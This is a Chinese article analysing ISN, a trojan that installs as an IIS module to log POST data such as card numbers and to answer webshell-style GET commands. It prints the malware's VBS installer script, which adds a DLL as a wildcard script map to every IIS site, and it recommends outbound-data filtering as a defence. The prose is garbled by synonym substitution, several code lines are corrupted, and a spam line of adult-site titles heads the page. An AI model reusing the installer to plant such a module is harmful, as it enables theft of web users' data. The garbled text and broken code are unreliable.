国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動(dòng)安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅 系統(tǒng)安全應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁(yè) > 信息安全 > 應(yīng)用安全 >

歹意軟件假裝成IIS模塊加載 大都防毒產(chǎn)品免殺

時(shí)間:2013-12-16 12:53來(lái)源:TuZhiJiaMi企業(yè)信息安全專家 點(diǎn)擊:
1、摘要 比來(lái),國(guó)外安然公司發(fā)現(xiàn)了一些以DLL動(dòng)態(tài)鏈接庫(kù)情勢(shì)存在的IIS模塊存在歹意風(fēng)險(xiǎn),這些歹意模塊之所以受存眷,很大年夜啟事是因?yàn)樗鼈兡芏氵^(guò)今朝幾近所有的反病毒產(chǎn)品,報(bào)復(fù)打擊者
Tags惡意程序(46)應(yīng)用安全(1006)IIS(14)  

  1、摘要

  比來(lái),國(guó)外安然公司發(fā)現(xiàn)了一些以DLL動(dòng)態(tài)鏈接庫(kù)情勢(shì)存在的IIS模塊存在歹意風(fēng)險(xiǎn),這些歹意模塊之所以受存眷,很大年夜啟事是因?yàn)樗鼈兡芏氵^(guò)今朝幾近所有的反病毒產(chǎn)品,報(bào)復(fù)打擊者借助這些模塊發(fā)送歹意POST數(shù)據(jù)包,并遵守得當(dāng)?shù)臋C(jī)制以此來(lái)獲得敏感信息。

  這類歹意法度的方針不但僅局限于銀行、電子商務(wù)網(wǎng)站的加密數(shù)據(jù),同時(shí)還被用來(lái)獲得例如登錄賬戶及其他被發(fā)送到IIS實(shí)例上的數(shù)據(jù)(HTTP Header、MS-Chap令牌等)。同時(shí)要寄望的是,此次發(fā)現(xiàn)的歹意軟件縫隙和之前陳述的歹意軟件"Pony"沒(méi)有任何干系。Pony首要針對(duì)的是終端用戶,而這個(gè)IIS Module歹意法度主如果針對(duì)Web Server的。以下為陳述譯文:

  下面是此次發(fā)現(xiàn)的歹意法度在各大年夜反病毒引擎上的查抄成果:

  https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/

  事實(shí)證實(shí),我所援引的這個(gè)DLL是一個(gè)IIS的原生安裝模塊,我想也該是時(shí)辰對(duì)這類歹意法度進(jìn)行一個(gè)總結(jié)了,之所以這么做,有以下2個(gè)啟事:

  a)在我寫(xiě)這篇文章的時(shí)辰,大年夜部門的反病毒軟件都不會(huì)IIS目次下的DLL模塊進(jìn)行需要的查抄(經(jīng)由過(guò)程設(shè)置白名單等),這導(dǎo)致了IIS的首要模塊被替代后沒(méi)法被殺毒軟件捕獲到異常。當(dāng)然病毒的安裝法度(用于進(jìn)行替代工作的法度)也只是被少數(shù)的反病毒軟件檢測(cè)出異常,因?yàn)檫@些檢測(cè)出異常的殺毒引擎大年夜大都采納了"開(kāi)導(dǎo)式掃描";

  b)我感覺(jué)這個(gè)歹意代碼很是的精美。

  2、介紹

  讓我們先看一下這個(gè)病毒的安裝法度。法度承諾帶良多參數(shù)變量以適應(yīng)不合的環(huán)境:

  -path : [歹意法度將被安裝的路徑]

  -i : [方針URL地址, 例如 "/sensitive.aspx"

  -u : [卸載歹意法度]

  -is632 : [IIS6 32-Bit]

  -is664 : [IIS6 64-Bit]

歹意軟件假裝成IIS模塊加載 大都防毒產(chǎn)品免殺

  事實(shí)上,安裝法度很是簡(jiǎn)單。它包含有四個(gè)內(nèi)嵌的式DLL文件(在PE布局的資本節(jié)區(qū)中),在安裝的時(shí)辰按照方針系統(tǒng)的版本進(jìn)步履態(tài)選擇:

  IIS6 + 32-Bit

  IIS6 + 64-Bit

  IIS7 + 32-Bit

  IIS7 + 64-Bit

  別的,這個(gè)ISN歹意法度也有一個(gè)VBS文件被嵌進(jìn)到了PE的資本節(jié)區(qū)中(文件的內(nèi)容請(qǐng)參考援引部門),這個(gè)VBS腳本文件用于安裝或卸載用于替代IIS模塊的歹意DLL文件(即上面說(shuō)到那4個(gè)DLL文件)。

  一旦運(yùn)行,ISN.exe將履行以下把持:

  1. 將按照我們"-path"指定的位置,或當(dāng)前的工作目次。把VBS復(fù)制到這個(gè)路徑下,為后面的安裝做預(yù)備,這個(gè)VBS文件將在安裝完成刪除,不會(huì)留下陳?ài)E。

  2. 成立一個(gè)建設(shè)文件([文件].cfg)在統(tǒng)一個(gè)目次中。這個(gè)文件包含一個(gè)列表。

  3. 歹意法度的方針URL列表。

  4. 查抄IIS版本和報(bào)復(fù)打擊方針的把持系統(tǒng)架構(gòu)。

  5. 提取響應(yīng)的DLL到安裝目次(從PE的資本節(jié)區(qū)中)。

  6. 調(diào)用VBS文件文件將歹意的DLL模塊安裝為IIS的模塊。(IIS只是經(jīng)由過(guò)程DLL的文件名進(jìn)步履態(tài)加載,即便這是一個(gè)歹意法度,DLL簽名手藝在這里其實(shí)不克不及起到防御感化)。

  解壓運(yùn)行后的環(huán)境以下圖:

  在安裝的過(guò)程中會(huì)產(chǎn)生一些日記信息,這些信息有助于我們鑒定安裝是不是成功和掉敗的啟事:

歹意軟件假裝成IIS模塊加載 大都防毒產(chǎn)品免殺

  一旦成功安裝的模塊,它將監(jiān)控在建設(shè)文件(isn.cfg)中指定的uri和dump(記實(shí))任何捕獲到的POST要求,將這些信息記實(shí)到[fileName].log中。該模塊還將監(jiān)控QUERY_STRING參數(shù)(IIS中的GPC參數(shù),相當(dāng)于PHP中的$_REQUEST),并可以接管一些報(bào)復(fù)打擊者發(fā)送的號(hào)令(就像一個(gè)webshell一樣)。我編寫(xiě)了一個(gè)簡(jiǎn)單的IIS實(shí)例來(lái)演示這個(gè)過(guò)程若何產(chǎn)生。

  3. 演示

  以下我們可以看到,我已成立了一個(gè)簡(jiǎn)單的web表單,將摹擬一個(gè)實(shí)際的電子商務(wù)網(wǎng)站。用戶輸進(jìn)他們的名字和諾言卡號(hào)碼和提交信息,然后腳本"/buy.aspx"返回用戶輸進(jìn)的數(shù)據(jù)。

歹意軟件假裝成IIS模塊加載 大都防毒產(chǎn)品免殺

  在本次演示中,我設(shè)置一個(gè)自簽名證書(shū)(self-signed certificate ),如許所有的HTTP交互都經(jīng)由過(guò)程SSL通信。

歹意軟件假裝成IIS模塊加載 大都防毒產(chǎn)品免殺

  此刻,所有的正常的HTTP營(yíng)業(yè)通信都先和我們的歹意法度進(jìn)行了交互,這里要寄望的,我們必需在建設(shè)文件中明白指明我們要"跟蹤"的腳本文件(例如,buy.aspx)。如許,當(dāng)指定的.aspx腳本產(chǎn)生HTTP通信時(shí),ISN.EXE會(huì)主動(dòng)對(duì)捕獲到的數(shù)據(jù)進(jìn)行記實(shí)

歹意軟件假裝成IIS模塊加載 大都防毒產(chǎn)品免殺

  我前面提到的,這個(gè)歹意法度可以像webshell那樣工作,啟事是因?yàn)樗瑫r(shí)監(jiān)測(cè)QUERY_STRING參數(shù)并對(duì)此中包含的"特點(diǎn)字符串"進(jìn)行匹配檢索。具體地說(shuō),它將尋覓以下號(hào)令:

  1. isn_getlog——的內(nèi)容并返回。日記文件

  2. isn_logdel——?jiǎng)h除并。日記文件

  3. isn_logpath——返回的路徑并。日記文件

  這些號(hào)令可以簡(jiǎn)單地經(jīng)由過(guò)程供給GET參數(shù)進(jìn)行長(zhǎng)途發(fā)送。

  "isn_getlog" example:

  "isn_logdel" example:

  "isn_logpath" example:

  4. 總結(jié)

  總的來(lái)講,這個(gè)歹意軟件仿佛沒(méi)有遍及傳播,只有在一些小我的案例中呈現(xiàn)。但是,極低的檢出率與歹意軟件的方針功能的連絡(luò)使這中歹意法度成為一個(gè)很是實(shí)際的威脅。

  Trustwave WebDefend和ModSecurity可用于在"傳染路徑"的解纜點(diǎn)禁止這個(gè)歹意法度,它們可以檢測(cè)是不是敏感的用戶數(shù)據(jù),如諾言卡號(hào)碼呈此刻出站數(shù)據(jù)中(outbound data)。ModSecurity的鏈?zhǔn)竭^(guò)濾法則可以很好的對(duì)這個(gè)標(biāo)題問(wèn)題,包管數(shù)據(jù)從進(jìn)站到出站每個(gè)環(huán)節(jié)的安然。

  5. 援引

  isn.exe

  http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm

  HASP.EXE

  http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339

  installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/

  VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/

  IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/

  IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/

  IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/

  IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/

  Content of VBS File – https://gist.github.com/jgrunzweig/7840987

  OPTION EXPLICIT

  DIM CRLF, TAB

  DIM strServer

  DIM objWebService

  DIM WebSvcObj

  dim webID

  dim DllName

  dim strScriptMap

  dim objVDir

  dim arrScriptMaps

  dim arrScriptMapsTmp

  dim ISAPIlist

  dim bAdd

  dim bRemove

  dim i

  dim j

  dim cc

  TAB = CHR( 9 )

  CRLF = CHR( 13 ) & CHR( 10 )

  ISAPIlist = 0

  bAdd = 0

  bRemove = 0

  cc = 0

  If Wscript.Arguments.Count < 2 Then

  If Wscript.Arguments.Count = 0 Then

  Wscript.Echo "cscript isn.vbs /add - add to all web sites"

  Wscript.Echo "cscript isn.vbs /remove - remove from all web sites"

  Wscript.Echo "cscript isn.vbs /isapilist - list ISAPI for web site "

  Wscript.Echo "cscript isn.vbs /weblist - list web sites"

  Wscript.Echo "Example:"

  Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll"

  Wscript.Echo "cscript isn.vbs /remove isn.dll"

  Wscript.Quit

  Else

  If Wscript.Arguments(0)="/weblist" Then

  'list web sites id and names

  SET objWebService = GetObject( "IIS://localhost/W3SVC" )

  EnumWebsites(objWebService)

  Wscript.Quit

  Else

  Wscript.Echo "wrong param"

  Wscript.Quit

  End If

  End If

  Else

  If Wscript.Arguments(0)="/isapilist" Then

  webID = Wscript.Arguments(1)

  ISAPIlist = 1

  ElseIf Wscript.Arguments(0)="/add" Then

  bAdd = 1

  DllName = Wscript.Arguments(1)

  ElseIf Wscript.Arguments(0)="/remove" Then

  bRemove = 1

  DllName = Wscript.Arguments(1)

  End If

  End If

  If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then

  Wscript.Echo "Wrong params!"

  Wscript.Quit

  End If

  If bAdd=1 Then

  SET objWebService = GetObject( "IIS://localhost/W3SVC" )

  strScriptMap = "*,"+DllName+",4,All"

  AddToWebsites(objWebService)

  Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")

  WebSvcObj.EnableExtensionFile("*.dll")

  WebSvcObj.SetInfo

  End If

  If bRemove=1 Then

  SET objWebService = GetObject( "IIS://localhost/W3SVC" )

  RemoveFromWebsites(objWebService)

  Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")

  WebSvcObj.DisableExtensionFile("*.dll")

  WebSvcObj.SetInfo

  Wscript.Echo DllName + " deleted"

  End If

  If ISAPIlist=1 Then

  Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root")

  arrScriptMaps = objVDir.Get("ScriptMaps")

  For i = LBound(arrScriptMaps) to UBound(arrScriptMaps)

  Wscript.Echo arrScriptMaps(i)

  Next

  Wscript.Quit

  End If

  FUNCTION AddToWebsites( objWebService )

  DIM objWebServer, strBindings

  FOR EACH objWebServer IN objWebService

  IF objWebserver.Class = "IIsWebServer" THEN

  Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")

  arrScriptMaps = objVDir.Get("ScriptMaps")

  arrScriptMapsarrScriptMapsTmp = arrScriptMaps

  ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1)

  j = LBound(arrScriptMaps)

  arrScriptMaps(j) = strScriptMap

  j = 0

  For i = 1 to UBound(arrScriptMaps)

  arrScriptMaps(i)=arrScriptMapsTmp(j)

  jj = j+1

  Next

  objVDir.Put "ScriptMaps", arrScriptMaps

  objVDir.SetInfo

  Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!"

  END IF

  NEXT

  END FUNCTION

  FUNCTION RemoveFromWebsites( objWebService )

  DIM objWebServer, strBindings

  FOR EACH objWebServer IN objWebService

  IF objWebserver.Class = "IIsWebServer" THEN

  Do

  Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")

  arrScriptMaps = objVDir.Get("ScriptMaps")

  arrScriptMapsarrScriptMapsTmp = arrScriptMaps

  cc=0

  For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)

  If InStr(arrScriptMapsTmp(i), DllName)>0 then

  arrScriptMapsTmp(i) = ""

  cccc=cc+1

  Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete"

  'exit for 'exit loop

  End If

  Next

  If cc=0 Then

  Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found"

  Exit Do

  End If

  ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc)

  j = LBound(arrScriptMapsTmp)

  for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)

  If arrScriptMapsTmp(i)<>"" Then

  arrScriptMaps(j)=arrScriptMapsTmp(i)

  jj = j+1

  End If

  Next

  objVDir.Put "ScriptMaps", arrScriptMaps

  objVDir.SetInfo

  Exit Do

  Loop While False

  END IF

  NEXT

  END FUNCTION

  FUNCTION EnumWebsites( objWebService )

  DIM objWebServer, strBindings

  FOR EACH objWebServer IN objWebService

  IF objWebserver.Class = "IIsWebServer" THEN

  WScript.Echo _

  "Site ID = " & objWebserver.Name & CRLF & _

  "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _

  "State = " & State2Desc( objWebserver.ServerState ) '& CRLF & _

  '"LogDir = " & objWebServer.LogFileDirectory & _

  '""

  ' Enumerate the HTTP bindings (ServerBindings) and

  ' SSL bindings (SecureBindings)

  'strBindings = EnumBindings( objWebServer.ServerBindings ) & _

  ' EnumBindings( objWebServer.SecureBindings )

  'IF NOT strBindings = "" THEN

  ' WScript.Echo "IP Address" & TAB & _

  ' "Port" & TAB & _

  ' "Host" & CRLF & _

  ' strBindings

  'END IF

  END IF

  NEXT

  END FUNCTION

  FUNCTION EnumBindings( objBindingList )

  DIM i, strIP, strPort, strHost

  DIM reBinding, reMatch, reMatches

------分隔線----------------------------

推薦內(nèi)容